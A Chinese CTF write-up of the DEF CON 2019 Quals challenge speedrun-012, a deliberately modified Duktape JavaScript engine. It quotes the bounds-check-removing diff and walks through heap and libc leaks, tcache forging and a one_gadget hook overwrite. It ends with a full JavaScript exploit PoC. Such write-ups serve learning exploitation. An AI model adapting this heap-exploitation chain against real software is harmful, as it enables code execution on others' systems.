第一次在De1ta跟师傅们一起打defcon,收获不少,记录一下
题目描述
The TranspOOOrter.
hint: https://gist.github.com/adamdoupe/9fb1fed69421e789a0a623af912e456a
speedrun-012.quals2019.oooverflow.io 31337
Files: speedrun-012
题目源码:https://github.com/o-o-overflow
思路分析
题目给的hint是个diff文件,出题人魔改了duktape这个js引擎,留下了两处可以利用的漏洞
首先是duk_bi_buffer_writefield这个函数,8bit的情况
@@ -2347,10 +2344,7 @@ switch (magic_ftype) { case DUK__FLD_8BIT: { duk_uint8_t tmp; - if (offset + 1U > check_length) { - goto fail_bounds; - } - tmp = buf[offset]; + tmp = buf[offset_signed]; if (magic_signed) { duk_push_int(thr, (duk_int_t) ((duk_int8_t) tmp)); } else {
offset_signed可以是负数,也就是可以往前读
然后是duk_bi_buffer_readfield函数,32bit的情况
@@ -2653,16 +2670,13 @@ } case DUK__FLD_32BIT: { duk_uint32_t tmp; - if (offset + 4U > check_length) { - goto fail_bounds; - } tmp = (duk_uint32_t) duk_to_uint32(thr, 0); if (endswap) { tmp = DUK_BSWAP32(tmp); } du.ui[0] = tmp; /* sign doesn't matter when writing */ - duk_memcpy((void *) (buf + offset), (const void *) du.uc, 4); + duk_memcpy((void *) (buf + offset_signed), (const void *) du.uc, 4); break; } case DUK__FLD_FLOAT: {
同样可以是负数,可以往前写内容
我对js并没有接触过,所以解题用的时间比较久
看看开了什么保护蛤
[*] '/home/anonymous/\xe4\xb8\x8b\xe8\xbd\xbd/speedrun-012' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
全开,enmmmm,题目说了环境都是Ubuntu18.04,也就是glibc2.27,md5:50390b2ae8aaa73c47745040f54e602f
随便输点东西试试
var buffer = new OOOArrayBufferOOO(0xab); var d = new DataView(buffer); d.setUint32(0,0x61616161); d.setUint32(4,0x62626262);
用gdb搜索字符串aaaabbbb,发现有趣的东西
观察到以下chunk
0x5555557d6b70: 0x0000000000000000 0x00000000000000e1 0x5555557d6b80: 0x0000000200000002 0x00005555557d87b0 0x5555557d6b90: 0x00005555557d6b20 0x00000000000000ab //猜测一下这个是size 0x5555557d6ba0: 0x6262626261616161 0x0000000000000000 //这里是buffer的存储区 0x5555557d6bb0: 0x0000000000000000 0x0000000000000000 0x5555557d6bc0: 0x0000000000000000 0x0000000000000000 0x5555557d6bd0: 0x0000000000000000 0x0000000000000000 0x5555557d6be0: 0x0000000000000000 0x0000000000000000 0x5555557d6bf0: 0x0000000000000000 0x0000000000000000 0x5555557d6c00: 0x0000000000000000 0x0000000000000000 0x5555557d6c10: 0x0000000000000000 0x0000000000000000 0x5555557d6c20: 0x0000000000000000 0x0000000000000000 0x5555557d6c30: 0x0000000000000000 0x0000000000000000 0x5555557d6c40: 0x0000000000000000 0xffffffffff000000 0x5555557d6c50: 0xffffffffffffffff 0x0000000000000061
那不管那么多,先去把堆的地址leak了先(虽然后面没用到...)
var heap_addr="0x"+d.getUint8(-11).toString(16)+d.getUint8(-12).toString(16)+d.getUint8(-13).toString(16)+d.getUint8(-14).toString(16)+d.getUint8(-15).toString(16)+d.getUint8(-16).toString(16);print (heap_addr);
顺手改一下size,改完后就可以往更远的地址读写啦!!!
d.setUint32(-4,0xffff);
想办法leak一个libc的地址,enmmm
var test=new OOOArrayBufferOOO(0xfa);test=null;
貌似变量置空js引擎会自动回收内存,具体不太清楚,反正gdb观测到远处有个unsorted bin了,enmmm,去把地址读出来
var libc_addr=d.getUint8(0x315)*(2**40)+d.getUint8(0x314)*(2**32)+d.getUint8(0x313)*(2**24)+d.getUint8(0x312)*(2**16)+d.getUint8(0x311)*(2**8)+d.getUint8(0x310);var libc_base=libc_addr-0x3ebca0;print (libc_base); var one_gadget=libc_base+0x4f322; var free_hook=libc_base+4118760-0x20;print(free_hook);
就剩下触发one_gadget了,yeah
我用了个比较麻烦的方法,写tcache_perthread_struct伪造tcache,然后分配到free_hook,写入one_gadget
d.setUint32(-0x1f110,malloc_hook&0xffffffff,true); d.setUint32(-0x1f114+8,OOOMathOOO.round(malloc_hook/(2**32)-0.5),true); d.setUint32(-0x1f224,0x00020100); var z = new OOOArrayBufferOOO(0x1d0); // free_hook hahah var g = new DataView(z); g.setUint32(0,o&0xffffffff,true); g.setUint32(4,OOOMathOOO.round(o/(2**32)-0.5),true)
其实堆上应该有不少函数指针可以写的吧,没仔细研究,enmmmm
poc
var buffer = new OOOArrayBufferOOO(0xab);var d = new DataView(buffer);d.setUint32(0,0x61616161);d.setUint32(4,0x62626262);var heap_addr="0x"+d.getUint8(-11).toString(16)+d.getUint8(-12).toString(16)+d.getUint8(-13).toString(16)+d.getUint8(-14).toString(16)+d.getUint8(-15).toString(16)+d.getUint8(-16).toString(16);print (heap_addr);var test=new OOOArrayBufferOOO(0xfa);test=null;d.setUint32(-4,0xffff);var libc_addr=d.getUint8(0x315)*(2**40)+d.getUint8(0x314)*(2**32)+d.getUint8(0x313)*(2**24)+d.getUint8(0x312)*(2**16)+d.getUint8(0x311)*(2**8)+d.getUint8(0x310);var libc_base=libc_addr-0x3ebca0;print (libc_base);var o=libc_base+0x4f322;var malloc_hook=libc_base+4118760-0x20;print(malloc_hook);d.setUint32(-0x1f110,malloc_hook&0xffffffff,true);d.setUint32(-0x1f114+8,OOOMathOOO.round(malloc_hook/(2**32)-0.5),true);d.setUint32(-0x1f224,0x00020100);var z = new OOOArrayBufferOOO(0x1d0);var g = new DataView(z);g.setUint32(0,o&0xffffffff,true);g.setUint32(4,OOOMathOOO.round(o/(2**32)-0.5),true)
小结
挺好玩的题目,enmmmm